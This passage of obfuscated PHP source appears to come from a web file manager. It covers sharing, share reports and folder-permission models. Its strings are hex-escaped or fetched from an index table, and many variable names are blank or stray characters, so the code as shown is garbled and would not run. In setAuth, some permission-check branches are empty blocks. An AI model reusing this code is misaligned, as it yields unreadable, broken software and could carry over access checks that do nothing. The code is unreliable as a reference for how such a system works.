"\x7b\x69\x6f\x3a{$dz}\175\x2f", $); if (!IO::exist($̹)) { $䋝[] = $鱳; $ب->updateFileEnd($Ҝ[$ޱ[32]], $Ҝ[$ޱ[79]]); write_log($ޱ[2335] . $̹, $ޱ[1909]); continue; } $ = IO::move($̹, $, REPEAT_RENAME); if (!$) { $գа[] = $鱳; $ب->updateFileEnd($Ҝ[$ޱ[32]], $Ҝ[$ޱ[79]]); write_log($ޱ[2336] . $̹, $ޱ[1909]); continue; } $⩚ = array($ޱ[543] => $鱳); $ţҘ = array($ޱ[892] => $dz, $ޱ[87] => $); Model($ޱ[232])->where($⩚)->save($ţҘ); } $ = $ب->task; if (!$) { Cache::set($, $); } $ب->end(); $䋝 = array_unique($䋝); $գа = array_unique($գа); if (!$ && ($䋝 || $գа)) { $׳ = array(); if ($䋝) { $׳[] = sprintf(LNG($ޱ[2337]), count($䋝)); } if ($գа) { $׳[] = sprintf(LNG($ޱ[2338]), count($գа)); } $׳ = sprintf(LNG($ޱ[2339]), implode($ޱ[2340], $׳)) . $ޱ[2341] . date($ޱ[2342]) . $ޱ[2343]; if ($ == $ޱ[1946]) { $׳ .= $ޱ[2344] . LNG($ޱ[2345]); } else { $׳ = LNG($ޱ[2346]) . $ޱ[2347] . $׳; } $[$ޱ[1266]] = $׳; Cache::set($, $); unset($[$ޱ[6]]); $Ǡ = array($ޱ[477] => $̨, $ޱ[2218] => $ޱ[625], $ޱ[32] => $[$ޱ[32]], $ޱ[98] => $[$ޱ[98]]); Hook::trigger($ޱ[1788], array($ޱ[1289] => $Ǡ, $ޱ[1299] => !0)); show_json($׳, !1, 100111); } if ($ == $ޱ[625]) { return !0; } if ($䋝 || $գа) { $ь = array_merge($䋝, $գа); $ь = array_filter(array_unique($ь)); $this->removeByFileID($ь); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $̹) { $ݚ = IO::has($̹, !0); if (!$ݚ[$ޱ[241]] && !$ݚ[$ޱ[242]]) { IO::remove($̹); } } } return $this->remove($̨); } private function removeByFileID($ǰ = array()) { $ =& $_SERVER[ձК]; if (empty($ǰ)) { return; } $ط = array($[543] => array($[7], $ǰ)); $凰 = Model($[1423])->where($ط)->field($[193])->select(); if (!$凰) { return Model($[546])->remove($ǰ); } $凰 = array_to_keyvalue($凰, $[12], $[193]); foreach ($凰 as $) { Model($[899])->removeNow($, !1); } } private function removeShareItems($) { $қ =& $_SERVER[ձК]; $ = "\173\x69\157\72{$}\175\57"; $ݿ = array($қ[193] => 0, $қ[1259] => array($қ[461], "{$}\x25")); $ޘ = Model($қ[1957])->where($ݿ)->field($қ[670])->select(); if (empty($ޘ)) { return; } $䪺 = array_to_keyvalue($ޘ, $қ[12], $қ[670]); Model($қ[669])->remove($䪺); } } goto e; B: class ShareModel extends ModelBase { protected $tableName = "\163\150\141\x72\x65"; protected $dataAuto = array(array("\x6d\x6f\144\x69\146\x79\124\151\155\145", "\164\151\155\145", "\151\x6e\163\x65\x72\x74\54\x75\x70\x64\141\x74\x65", "\x66\x75\x6e\x63\x74\151\x6f\156"), array("\x63\162\145\141\164\x65\124\x69\x6d\x65", "\164\x69\155\x65", "\x69\x6e\163\145\162\164", "\x66\x75\x6e\143\x74\151\157\156"), array("\157\160\x74\151\157\156\x73", '', "\151\156\163\145\162\164\54\165\160\144\141\164\x65\54\163\x65\154\145\x63\x74", "\152\x73\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $ =& $_SERVER[ձК]; $ט = isset($[0]) ? $[0] : !1; $ֶƁ = $[2122] . USER_ID; return array($[2123] => array(USER_ID, $[2124], $ֶƁ), $[2063] => array($ט, $[2125], $ֶƁ)); } protected function listSimple() { $끻 = array($_SERVER[ձК][1777] => USER_ID); $ʴ = $this->field($this->fieldList)->where($끻)->select(); return $ʴ ? $ʴ : array(); } protected function getInfo($, $侏 = false, $݊ݹ = '') { $ =& $_SERVER[ձК]; if ($侏) { return $this->_getShareInfo(array($[670] => $)); } $ʖ = $this->cacheFunctionGet($[2065], $, $݊ݹ); return $ʖ; } public function getInfoByHash($𒊊) { return $this->_getShareInfo(array($_SERVER[ձК][2126] => $𒊊)); } public function getInfoByPath($Μ) { $㣩 =& $_SERVER[ձК]; $̳Dž = array($㣩[1777] => USER_ID, $㣩[193] => $Μ); return $this->_getShareInfo($̳Dž); } public function getInfoBySourcePath($ؽ) { $ɹ݆ =& $_SERVER[ձК]; $ = array($ɹ݆[1777] => USER_ID, $ɹ݆[1259] => $ؽ); return $this->_getShareInfo($); } private function _getShareInfo($֥) { $˜ =& $_SERVER[ձК]; $Ɇ = $this->where($֥)->find(); if (!$Ɇ) { return !1; } $֥ = array($˜[670] => $Ɇ[$˜[670]]); $ = $˜[2127]; $ = Model($˜[671])->order($˜[477])->field($)->where($֥)->select(); if ($Ɇ[$˜[193]] == $˜[230]) { $Ɇ[$˜[90]] = IO::info($Ɇ[$˜[1259]]); } else { $Ɇ[$˜[90]] = Model($˜[1423])->pathInfo($Ɇ[$˜[193]]); } $Ɇ[$˜[2128]] = $; return $Ɇ; } protected function getInfoAuth($) { $ =& $_SERVER[ձК]; $̔ = $this->getInfo($); if ($̔[$[1777]] == USER_ID) { $̔[$[489]] = $̔[$[90]][$[489]]; } else { $̔[$[489]] = Model($[569])->authMake($̔[$[2128]]); } return $̔; } protected function listData($ = null, $Ĥ = 300) { $ځ =& $_SERVER[ձК]; $ѻ = array(array($ځ[564] => array($ځ[1091], 0), $ځ[668] => array($ځ[1091], 0), $ځ[2129] => $ځ[2081])); if ($ == $ځ[2130]) { $ѻ = array($ځ[564] => 1); } else { if ($ == $ځ[1244]) { $ѻ = array($ځ[668] => 1); } } $ѻ[$ځ[1777]] = USER_ID; $ = $this->where($ѻ)->selectPage($Ĥ); return $; } protected function listToMe($ = 300) { $ӣ =& $_SERVER[ձК]; $ = Model($ӣ[2131])->userGroupParents(USER_ID); $еѩ = array($ӣ[653] => SourceModel::TYPE_USER, $ӣ[571] => USER_ID); if ($) { $еѩ = array(array($ӣ[653] => SourceModel::TYPE_USER, $ӣ[571] => USER_ID), array($ӣ[653] => SourceModel::TYPE_GROUP, $ӣ[571] => array($ӣ[7], $)), $ӣ[2129] => $ӣ[2081]); } $䇵 = Model($ӣ[671])->where($еѩ)->selectPage($); $О = array_to_keyvalue_group($䇵[$ӣ[447]], $ӣ[670]); if (!$О) { return $䇵; } $ = $ӣ[2132]; $еѩ = array($ӣ[670] => array($ӣ[494], array_keys($О)), $ӣ[1777] => array($ӣ[1093], $ӣ[230])); $У = $this->field($)->where($еѩ)->select(); foreach ($У as $׆ => &$嗿) { $嗿[$ӣ[2128]] = $О[$嗿[$ӣ[670]]]; } unset($嗿); $Ð = array($ӣ[2133] => $У, $ӣ[2134] => $䇵[$ӣ[444]]); return $Ð; } protected function shareAdd($ݏ, $π) { $紽 =& $_SERVER[ձК]; $ў = $this->_addShareData($ݏ, $π); if (!empty($π[$紽[2135]])) { $this->_shareAuthSet($ў, $π[$紽[2135]]); } $this->shareEventAdd($ݏ, $π, $紽[2136]); return $ў; } protected function shareAddSystem($ǎ, $Ŧ) { $ =& $_SERVER[ձК]; $ʔ = $this->_addShareData($ǎ, $Ŧ, $[191]); $this->_shareAuthSet($ʔ, $Ŧ[$[2135]]); return $ʔ; } private function shareEventAdd($ࡇ, $, $ɂ = "\141\x64\144") { $ =& $_SERVER[ձК]; if (!$ࡇ || $ࡇ == $[230]) { return; } if ($ɂ == $[2136]) { if ($[$[564]] == $[91]) { Model($[638])->eventShare($ࡇ, $[2137]); } if ($[$[668]] == $[91]) { Model($[638])->eventShare($ࡇ, $[2138]); } return; } $ = $this->getInfoByPath($ࡇ); $ = $[2139]; if ($[$[564]] == $[230] && $[$[564]] == $[91]) { $ = $[2137]; } if ($[$[564]] == $[91] && $[$[564]] == $[230]) { $ = $[2140]; } if ($[$[668]] == $[230] && $[$[668]] == $[91]) { $ = $[2138]; } if ($[$[668]] == $[91] && $[$[668]] == $[230]) { $ = $[2141]; } Model($[638])->eventShare($ࡇ, $); return; } private function _addShareData($, $χ = array(), $ӫܗ = false) { $䫮 =& $_SERVER[ձК]; $ = $ӫܗ == $䫮[191] ? 0 : USER_ID; $Ԗ = array($䫮[493] => $, $䫮[1768] => $); if ($ == 0) { $Ԗ = array($䫮[2142] => $χ[$䫮[1259]], $䫮[1768] => $); } if ($Ռ = $this->where($Ԗ)->find()) { return $Ռ[$䫮[670]]; } if ($ == 0) { $Ĵ = array($䫮[32] => get_path_this($χ[$䫮[87]])); } else { $Ĵ = Model($䫮[899])->sourceInfo($); if (!$Ĵ) { return !1; } } if (!$χ[$䫮[1665]]) { $χ[$䫮[1665]] = $Ĵ[$䫮[32]]; } $ʸ = array($䫮[1768] => $, $䫮[493] => $, $䫮[1665] => $䫮[12], $䫮[564] => 0, $䫮[668] => 0, $䫮[1259] => $䫮[12], $䫮[384] => $䫮[12], $䫮[968] => $䫮[12], $䫮[2143] => 0, $䫮[2144] => 0, $䫮[835] => 0, $䫮[2145] => $䫮[12], $䫮[2126] => $䫮[12]); $ܒ餽 = explode($䫮[50], $䫮[2146]); foreach ($ܒ餽 as $ĵ݃) { if (!isset($χ[$ĵ݃])) { continue; } $ʸ[$ĵ݃] = $χ[$ĵ݃]; } $碁ˆ = $this->add($ʸ); $Œ = array($䫮[2126] => short_id($碁ˆ)); $this->where(array($䫮[2147] => $碁ˆ))->save($Œ); return $碁ˆ; } private function _shareAuthSet($ߙ, $꧳) { $ݯ =& $_SERVER[ձК]; if (!is_array($꧳)) { return !1; } $ɰ = Model($ݯ[2091]); $ɰ->where(array($ݯ[670] => $ߙ))->delete(); $Ġ = array(); foreach ($꧳ as $) { $綐 = SourceModel::TYPE_USER; if ($[$ݯ[190]] == SourceModel::TYPE_GROUP) { $綐 = SourceModel::TYPE_GROUP; } $Ͻ = array($ݯ[670] => $ߙ, $ݯ[190] => $綐, $ݯ[571] => intval($[$ݯ[571]]), $ݯ[2087] => 0, $ݯ[2148] => -1); if ($[$ݯ[2087]]) { $Ͻ[$ݯ[2087]] = $[$ݯ[2087]]; } else { if ($[$ݯ[2148]]) { $Ͻ[$ݯ[2148]] = $[$ݯ[2148]]; } } $Ġ[] = $Ͻ; } return $ɰ->addAll($Ġ, array(), !0); } public function numViewAdd($݊) { $ǰ =& $_SERVER[ձК]; $Ͷϑ = array($ǰ[2147] => $݊); $this->where($Ͷϑ)->setAdd($ǰ[2143]); } public function numDownloadAdd($ݙ) { $ū =& $_SERVER[ձК]; $֔ = array($ū[2147] => $ݙ); $this->where($֔)->setAdd($ū[2144]); } protected function shareEdit($Л, $ٸ) { $Ԣ =& $_SERVER[ձК]; $ׯ = $this->getInfo($Л); if (!$ׯ) { return !1; } $this->_checkLinkShare($ٸ, $ׯ); $ = array(); $ = explode($Ԣ[50], $Ԣ[2149]); foreach ($ as $Ԝİ) { if (!array_key_exists($Ԝİ, $ٸ)) { continue; } $[$Ԝİ] = $ٸ[$Ԝİ]; } $this->shareEventAdd($ׯ[$Ԣ[193]], $ٸ, $Ԣ[1947]); $this->where(array($Ԣ[2147] => $Л))->save($); if (isset($ٸ[$Ԣ[2135]])) { $this->_shareAuthSet($Л, $ٸ[$Ԣ[2135]]); } return !0; } private function _checkLinkShare($Ж, $Ԫ) { $ʌ =& $_SERVER[ձК]; if ($Ж[$ʌ[564]] != $ʌ[91]) { return; } $ԡ = $Ԫ[$ʌ[90]][$ʌ[193]]; if ($Ԫ[$ʌ[90]][$ʌ[33]] != $ʌ[232]) { $ۀ = $this->_folderReport($ԡ); if (!$ۀ) { return; } show_json(LNG($ʌ[2150]) . $ʌ[2151] . $ۀ, !1); } $ = Model($ʌ[899])->fileInfoGet($Ԫ[$ʌ[90]][$ʌ[193]]); if (!$) { return; } $亐 = $this->shareFileMeta($[$ʌ[543]]); if (isset($亐[$ʌ[452]]) && $亐[$ʌ[452]] == $ʌ[91]) { show_json(LNG($ʌ[2152]), !1); } } private function _folderReport($) { $ =& $_SERVER[ձК]; $ = array($[543] => array($[1091], 0), $[824] => 3); $װ = Model($[2153])->where($)->field($[543])->select(); if (!$װ) { return !1; } $װ = array_to_keyvalue($װ, $[12], $[543]); $֯ = $[50] . $ . $[50]; $ = array($[543] => array($[7], $װ), $[586] => array($[461], "\x25{$֯}\45"), $[507] => 0); $؝ = Model($[899])->where($)->field($[2154])->find(); if (!$؝) { return !1; } $ф = substr($؝[$[586]], strpos($؝[$[586]], $֯)); $ = array($[193] => array($[7], trim($ф, $[50]))); $ = Model($[899])->where($)->field($[32])->select(); $ރ = array_to_keyvalue($, $[12], $[32]); $ރ[] = $؝[$[32]]; return implode($[8], $ރ); } protected function remove($̸) { $֩ =& $_SERVER[ձК]; $ = is_array($̸) ? $̸ : array($̸); for ($뭼 = 0; $뭼 < count($); $뭼++) { $ǣ = $this->getInfo($[$뭼]); if ($ǣ[$֩[668]] == $֩[91]) { Model($֩[638])->eventShare($ǣ[$֩[193]], $֩[2141]); } if ($ǣ[$֩[564]] == $֩[91]) { Model($֩[638])->eventShare($ǣ[$֩[193]], $֩[2140]); } } if (is_array($̸)) { $̸ = array($֩[7], $̸); } $Ƀů = array($֩[670] => $̸); $ = $this->where($Ƀů)->delete(); if ($) { Model($֩[671])->where(array($֩[670] => $̸))->delete(); } return $; } protected function removeBySource($) { $پ =& $_SERVER[ձК]; $ = array($پ[493] => array($پ[494], $)); $ൊ = $this->field($پ[670])->where($)->select(); $ൊ = array_to_keyvalue($ൊ, $پ[12], $پ[670]); if (!$ൊ) { return; } $ = array($پ[2147] => array($پ[494], $ൊ)); $this->where($)->delete(); Model($پ[671])->where($)->delete(); } public function listAll($Ѿ) { $× =& $_SERVER[ձК]; $؞ = array(); if ($Ѿ[$×[1777]]) { $؞[$×[1777]] = $Ѿ[$×[1777]]; } if ($Ѿ[$×[834]]) { $ϒ = $Ѿ[$×[835]] ? $Ѿ[$×[835]] : strtotime(date($×[2155])); $؞[$×[233]] = array($×[410], array($Ѿ[$×[834]], $ϒ)); } if ($Ѿ[$×[33]]) { $؞[$Ѿ[$×[33]]] = 1; } else { $؞[] = array($×[564] => array($×[1091], 0), $×[668] => array($×[1091], 0), $×[2129] => $×[2081]); } if ($Ѿ[$×[2077]]) { $؞[] = array($×[2126] => $Ѿ[$×[2077]], $×[1665] => array($×[461], "\45{$Ѿ[$×[2077]]}\x25"), $×[2129] => $×[2081]); } $̊ = $this->_makeOrder()->where($؞)->selectPage(20); if (empty($̊[$×[447]])) { return array(); } $this->_listDataApply($̊[$×[447]]); return $̊; } public function listDataApply($߯) { $this->_listDataApply($߯); return $߯; } private function _listDataApply(&$) { $ّ =& $_SERVER[ձК]; $ = array_to_keyvalue($, $ّ[12], $ّ[1777]); $Ր = Model($ّ[599])->userListInfo(array_unique($)); $ڳٸ = array_to_keyvalue($, $ّ[12], $ّ[193]); $ = Model($ّ[899])->sourceListInfo($ڳٸ, !0); foreach ($ as $ => &$) { $ = $[$ّ[1777]]; $[$ّ[2156]] = $Ր[$] ? $Ր[$] : !1; $ųΌ = $[$ّ[193]]; $[$ّ[90]] = $[$ųΌ] ? $[$ųΌ] : !1; if ($[$ّ[90]][$ّ[507]] == $ّ[91]) { unset($[$]); } if ($[$ّ[90]] != $ّ[230] && !$[$ّ[90]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($֝원 = '') { $ـ =& $_SERVER[ձК]; $ = array($ـ[233], $ـ[835], $ـ[2143], $ـ[2144]); $ = array($ـ[525] => $ـ[526], $ـ[527] => $ـ[528]); $͗ = Input::get($ـ[532], $ـ[7], $ـ[499], $); $뮨 = Input::get($ـ[533], $ـ[7], $ـ[2157], array($ـ[2074], $ـ[527])); $뮨 = $[$뮨]; $֝원 = $֝원 . "{$͗}\x20{$뮨}"; return $this->order($֝원); } public function reportAdd($栾) { $ƃ =& $_SERVER[ձК]; $Լ = array($ƃ[670] => $栾[$ƃ[670]], $ƃ[1777] => USER_ID); if (Model($ƃ[2153])->where($Լ)->find()) { return !1; } $ߟ = array($ƃ[670] => $栾[$ƃ[670]], $ƃ[1665] => $栾[$ƃ[1665]], $ƃ[193] => $栾[$ƃ[193]], $ƃ[543] => $栾[$ƃ[543]], $ƃ[1777] => USER_ID, $ƃ[33] => $栾[$ƃ[33]], $ƃ[528] => $栾[$ƃ[528]]); return Model($ƃ[2153])->add($ߟ); } public function reportList($́) { $Ґڪ =& $_SERVER[ձК]; $ = array(); if ($́[$Ґڪ[834]]) { $Ƒ = $́[$Ґڪ[835]] ? $́[$Ґڪ[835]] : strtotime(date($Ґڪ[2155])); $[$Ґڪ[233]] = array($Ґڪ[410], array($́[$Ґڪ[834]], $Ƒ)); } if (isset($́[$Ґڪ[33]]) && in_array($́[$Ґڪ[33]], array($Ґڪ[91], $Ґڪ[512], $Ґڪ[2158], $Ґڪ[2159], $Ґڪ[2160]))) { $[$Ґڪ[33]] = $́[$Ґڪ[33]]; } if (isset($́[$Ґڪ[824]]) && in_array($́[$Ґڪ[824]], array($Ґڪ[230], $Ґڪ[91], $Ґڪ[512], $Ґڪ[2158]))) { $[$Ґڪ[824]] = $́[$Ґڪ[824]]; } $ѭ = Input::get($Ґڪ[533], $Ґڪ[7], $Ґڪ[2157], array($Ґڪ[2074], $Ґڪ[527])); $ӕ = array($Ґڪ[525] => $Ґڪ[526], $Ґڪ[527] => $Ґڪ[528]); $ = $Ґڪ[2161] . $ӕ[$ѭ]; $ = Model($Ґڪ[2153])->where($)->order($)->selectPage(20); if (empty($[$Ґڪ[447]])) { return array(); } $ = array_to_keyvalue_group($[$Ґڪ[447]], $Ґڪ[824], $Ґڪ[670]); if (!empty($[0])) { $́ = $[0]; $ = array($Ґڪ[670] => array($Ґڪ[7], $́)); $Ǐ = $this->where($)->field($Ґڪ[670])->select(); $Ǐ = array_to_keyvalue($Ǐ, $Ґڪ[12], $Ґڪ[670]); $М = array_diff($́, $Ǐ); if (!empty($М)) { foreach ($[$Ґڪ[447]] as $ => $Ջ) { if (in_array($Ջ[$Ґڪ[670]], $М)) { unset($[$Ґڪ[447]][$]); } } } } $this->_listDataApply($[$Ґڪ[447]]); return $; } public function reportStatus($) { $ =& $_SERVER[ձК]; $ = array($[477] => $[$[477]]); $ = Model($[2153])->where($)->field($[2162])->find(); if (!$) { return !1; } $⧡ = array($[824] => $[$[824]]); if ($[$[824]] == $[2158] && $[$[824]] == $[2158]) { $⧡[$[824]] = 0; } $ӝ = Model($[2153])->where($)->save($⧡); if ($[$[824]] == $[512]) { if ($[$[543]] != $[230] && $this->shareFileMeta($[$[543]])) { $this->shareFileMeta($[$[543]], 0); } $this->remove($[$[670]]); return !0; } if ($ӝ && $[$[824]] == $[2158]) { $駴Ҕ = $⧡[$[824]] == $[2158] ? 1 : 0; $this->shareFileMeta($[$[543]], $駴Ҕ); $this->removeByFile($[$[543]]); } return $ӝ; } private function removeByFile($⪴) { $ =& $_SERVER[ձК]; $ = Model($[899])->where(array($[543] => $⪴))->field($[193])->select(); $ũ = array_to_keyvalue($, $[12], $[193]); $͑ = array($[193] => array($[7], $ũ), $[564] => 1); $ = $this->where($͑)->field($[670])->select(); if (empty($)) { return; } $õ = array_to_keyvalue($, $[12], $[670]); $this->remove($õ); } private function shareFileMeta($ޙ, $ = null) { $ =& $_SERVER[ձК]; $ƌ = array($[543] => $ޙ, $[97] => $[2163]); if (is_null($)) { return Model($[2164])->where($ƌ)->find(); } $ƌ[$[452]] = $; Model($[2164])->add($ƌ, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\x6f\x75\162\x63\145\x5f\x61\165\x74\150"; public function getAuth($) { $چ =& $_SERVER[ձК]; $ؚٰ = $this->sourceAuthSelect($); $֠ = array(); $ = array(); $ֻ = 2 << 25; foreach ($ؚٰ as $馻) { $֖ = Model($چ[573])->listData($馻[$چ[2087]]); if (!$֖) { continue; } $֠[] = $馻; $ = 0; if ($馻[$چ[190]] == SourceModel::TYPE_GROUP) { $ = $ֻ * 2; } if ($馻[$چ[190]] == SourceModel::TYPE_USER) { $ = $ֻ; } if ($馻[$چ[190]] == SourceModel::TYPE_USER && $馻[$چ[571]] == $چ[230]) { $ = 0; } $[] = $֖[$چ[489]] + $; } array_multisort($, SORT_DESC, $֠); return $֠; } public function sourceAuthSelect($) { $б =& $_SERVER[ձК]; static $ɨ = array(); $ځ = is_array($) ? !1 : !0; if ($ځ) { $ = array($); } $ȭ䦨 = array(); foreach ($ as $) { if (isset($ɨ[$])) { $ȭ䦨[$] = $ɨ[$]; } } if (count($ȭ䦨) == count($)) { return $ځ ? $ȭ䦨[$[0]] : $ȭ䦨; } $ = $б[2165]; $ = array($б[193] => array($б[7], $)); $Ϸ = $this->field($)->order($б[477])->where($)->select(); $ = array_to_keyvalue_group($Ϸ, $б[193]); foreach ($ as $) { $ɨ[$] = $[$] ? $[$] : array(); } if ($ځ) { return $Ϸ; } return $; } public function setAuth($Ã, $όւ) { $ =& $_SERVER[ձК]; $ = Model($[1423])->sourceInfo($Ã); if (!$) { return !1; } if ($[$[190]] != SourceModel::TYPE_GROUP) { return !1; } $߷ҁ = 1; $Ͷ = $[$[571]]; if ($Ͷ != $߷ҁ) { $ɯ = array($[1978] => $Ͷ); $ = Model($[2073])->field($[1777])->where($ɯ)->select(); $ = array_to_keyvalue($, $[12], $[1777]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $凎 = array(); foreach ($όւ as $ѓ) { if (!in_array($ѓ[$[190]], $)) { show_json(LNG($[2166]), !1); } if ($Ͷ != $߷ҁ) { if ($ѓ[$[190]] == SourceModel::TYPE_GROUP) { } if ($ѓ[$[571]] != 0 && !in_array($ѓ[$[571]], $)) { } } if ($ѓ[$[571]] == 0) { $ѓ[$[190]] = SourceModel::TYPE_USER; } $凎[] = array($[193] => $Ã, $[190] => intval($ѓ[$[190]]), $[571] => intval($ѓ[$[571]]), $[2087] => intval($ѓ[$[2087]]) ? intval($ѓ[$[2087]]) : 0, $[2148] => intval($ѓ[$[2148]]) ? intval($ѓ[$[2148]]) : -1); } $this->where(array($[493] => $Ã))->delete(); $this->addAll($凎); return !0; } public function authClear($ᓧ) { $ =& $_SERVER[ձК]; $ = Model($[1423])->sourceInfo($ᓧ); $Ǖ = array($ᓧ); if ($[$[487]] == $[91]) { $ӱ = array($[657] => array($[617], $[$[586]] . $ᓧ . $[618])); $Ǖ = Model($[1423])->field($[493])->where($ӱ)->getField($[193], !0); $Ǖ[] = $ᓧ; } $this->where(array($[493] => array($[494], $Ǖ)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[ձК]; $ת = Model($[1423])->sourceInfo($); if ($ת[$[487]] != $[91]) { return $this->sourceListAuth(array($)); } if ($ת[$[190]] != SourceModel::TYPE_GROUP) { return array(); } $ҵ = 1; $ߔۍ = array($); if ($ת[$[192]] == $[230] && $ת[$[571]] != $ҵ) { $ߔۍ = $this->groupChidldAllRootSource($ת[$[571]]); } $ = $this->field($[193])->group($[193])->select(); $ = array_to_keyvalue($, $[12], $[193]); if (!$) { return array(); } $τ = $[2167]; $ = array($[193] => array($[7], $), $[507] => $[230]); $ = Model($[899])->field($τ)->where($)->select(); $ʢЧ = array($); foreach ($ as $Ҩ) { foreach ($ߔۍ as $Ւ) { $ = $[50] . $Ւ . $[50]; $ = $Ҩ[$[586]] . $Ҩ[$[193]] . $[50]; if (strstr($, $)) { $ʢЧ[] = $Ҩ[$[193]]; break; } } } return $this->sourceListAuth($ʢЧ); } private function sourceListAuth($뽛) { $ =& $_SERVER[ձК]; $唃 = Model($[1423])->sourceListInfo($뽛, !0); $꠶ = $this->sourceAuthSelect($뽛); $ = array(); $ن = array(); foreach ($唃 as $) { unset($[$[531]]); unset($[$[529]]); unset($[$[489]]); unset($[$[90]]); $ = $꠶[$[$[193]]]; if (!$) { continue; } $[$[2168]] = $this->authTargetInfo($); $[$[584]] = rtrim($[$[590]], $[8]) . $[8] . ltrim($[$[584]], $[8]); $[] = $; $ = count(explode($[8], trim($[$[584]], $[8]))); $ن[] = $ + ($[$[33]] == $[78] ? 0 : 1000); } array_multisort($ن, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ֈ =& $_SERVER[ձК]; $Ǿެ = Model($ֈ[2169])->groupChildrenAll($); $ = array($ֈ[192] => 0, $ֈ[571] => array($ֈ[7], $Ǿެ), $ֈ[190] => SourceModel::TYPE_GROUP); $ = Model($ֈ[899])->field($ֈ[193])->where($)->select(); $ = array_to_keyvalue($, $ֈ[12], $ֈ[193]); return $; } private function authTargetInfo($) { $٨ٱ =& $_SERVER[ձК]; $ޘ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($٨ٱ[573])->listData($[$٨ٱ[2087]]); if (!$) { continue; } if ($[$٨ٱ[190]] == SourceModel::TYPE_USER) { $Ǒ = Model($٨ٱ[579])->getInfoSimpleOuter($[$٨ٱ[571]]); if ($Ǒ[$٨ٱ[1777]] == $٨ٱ[1275]) { continue; } if ($Ǒ[$٨ٱ[1777]] == $٨ٱ[230]) { $Ǒ[$٨ٱ[32]] = LNG($٨ٱ[2170]); } } else { $Ǒ = Model($٨ٱ[587])->getInfoSimple($[$٨ٱ[571]]); } if (!$Ǒ) { continue; } $Ǒ[$٨ٱ[542]] = $; $ޘ[] = $Ǒ; $нָ = 0; if ($[$٨ٱ[190]] == SourceModel::TYPE_GROUP) { $нָ = $ * 2; } if ($[$٨ٱ[190]] == SourceModel::TYPE_USER) { $нָ = $; } if ($[$٨ٱ[190]] == SourceModel::TYPE_USER && $[$٨ٱ[571]] == $٨ٱ[230]) { $нָ = 0; } $[] = $[$٨ٱ[489]] + $нָ; } array_multisort($, SORT_DESC, $ޘ); return $ޘ; } public function getAllChildrenByUser($ƚ, $ٔ) { $ =& $_SERVER[ձК]; $ = Model($[599])->getInfo($ٔ); if (!$ٔ || !$ƚ || !$) { return array(); } $ҝ = Model($[1423])->sourceInfo($ƚ); $Ź = array(); $ = 1; if ($ҝ[$[192]] == $[230] && $ҝ[$[571]] != $ && $this->groupContainUser($ҝ[$[571]], $ٔ)) { foreach ($[$[2171]] as $ن) { $ = Model($[587])->getInfo($ن[$[1978]]); $Յ = Model($[599])->getInfoSimpleOuter($ٔ); $Յ[$[542]] = $ن[$[489]]; if (Model($[573])->authCheckAction($ن[$[489]][$[489]], $[1999])) { continue; } $Ո = array($[32] => $[1295] . $[$[32]], $[193] => $[$[90]][$[193]], $[87] => KodIO::make($[$[90]][$[193]]), $[192] => $[230], $[190] => $[580], $[33] => $[621], $[584] => $[$[591]], $[1978] => $[$[1978]], $[588] => $[$[192]], $[2168] => array($Յ)); $Ź[$Ո[$[193]]] = $Ո; } } $Τڮ = array(); $ = $this->getAllChildren($ƚ); foreach ($ as $) { $ʲ = !1; foreach ($[$[2168]] as $ך) { if ($ך[$[1777]]) { if ($ך[$[1777]] == $ٔ) { $ʲ = !0; break; } } if ($ך[$[1978]]) { if ($this->groupContainUser($ך[$[1978]], $ٔ)) { $ʲ = !0; break; } } } if ($ʲ) { $Τڮ[] = $; } $հ = $[$[193]]; if (isset($Ź[$հ])) { $[$[2168]][] = $Ź[$հ][0]; $Ź[$հ] = !1; } } $Ź = array_filter(array_values($Ź)); $Τڮ = array_merge($Ź, $Τڮ); return $Τڮ; } public function setAllChildrenByUser($Ų, $, $) { $Ӡ =& $_SERVER[ձК]; $鶢 = $this->getAllChildrenByUser($Ų, $); if (!$ || !$鶢) { return !1; } foreach ($鶢 as $х) { $ = array(); foreach ($х[$Ӡ[2168]] as $) { $ = $[$Ӡ[542]]; $Α = $[$Ӡ[1777]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ܨѠ = $[$Ӡ[1777]] ? $[$Ӡ[1777]] : $[$Ӡ[1978]]; if ($[$Ӡ[1777]] && $[$Ӡ[1777]] == $) { continue; } $[] = array($Ӡ[193] => $х[$Ӡ[193]], $Ӡ[190] => $Α, $Ӡ[571] => intval($ܨѠ), $Ӡ[2087] => isset($[$Ӡ[477]]) ? intval($[$Ӡ[477]]) : 0, $Ӡ[2148] => isset($[$Ӡ[2148]]) ? intval($[$Ӡ[2148]]) : -1); } $[] = array($Ӡ[193] => $х[$Ӡ[193]], $Ӡ[190] => SourceModel::TYPE_USER, $Ӡ[571] => intval($), $Ӡ[2087] => intval($), $Ӡ[2148] => -1); $this->where(array($Ӡ[493] => $х[$Ӡ[193]]))->delete(); $this->addAll($); } return !0; } public function get($پ) { $ = $this->getSourceList(array($پ), !0); return $[0]; } public function getSourceList($, $輫 = false, $ = false) { $؇ِ =& $_SERVER[ձК]; if (!$) { return array(); } $ = Model($؇ِ[1423]); if (!$輫 && count($) == 1) { $輫 = array(); $輫[$[0]] = $->sourceInfo($[0]); } if (!$輫) { $ = array($؇ِ[493] => array($؇ِ[494], $)); $輫 = $->field($؇ِ[2172])->where($)->select(); $輫 = array_to_keyvalue($輫, $؇ِ[193]); } $㘐 = $; foreach ($輫 as $ܾ => $ƚ) { $ = $->parentLevelArray($ƚ[$؇ِ[586]]); $㘐 = array_merge($㘐, array($ܾ), array_reverse($)); } $㘐 = array_values(array_unique($㘐)); if (!$㘐) { return array(); } $ = $this->sourceAuthSelect($㘐); $ = array(); foreach ($㘐 as $ہ) { if (isset($[$ہ])) { $[$ہ] = $[$ہ]; } } $۠ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($؇ِ[490] => $, $؇ِ[2173] => array($؇ِ[495] => 0, $؇ِ[1984] => $, $؇ِ[496] => LNG($؇ِ[2174]), $؇ِ[2001] => $؇ِ[2175])); $͵ = array(); foreach ($輫 as $ہ => $ݙԊ) { if ($۠ && 